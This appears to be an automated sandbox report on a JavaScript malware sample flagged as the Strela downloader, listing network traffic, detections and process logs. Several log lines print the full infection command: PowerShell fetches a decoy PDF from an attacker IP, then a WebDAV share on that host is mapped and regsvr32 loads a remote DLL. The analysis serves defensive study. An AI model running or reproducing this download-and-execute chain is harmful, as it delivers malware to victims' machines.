6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.7:60106 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:52136 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1251514481.000002CCBE98D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1343326026.00000201C4798000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//
Source: net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 0000000D.00000002.1343326026.00000201C4798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 0000000D.00000002.1343326026.00000201C47EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/O
Source: net.exe, 0000000D.00000002.1343326026.00000201C47C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: svchost.exe, 0000000F.00000002.2532359742.0000029079483000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1345456087.00000290792A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6904, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 31352150452488124098.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6140:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p52scq0z.yhr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1720,i,5711812054626061158,6965041872936324012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1720,i,5711812054626061158,6965041872936324012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
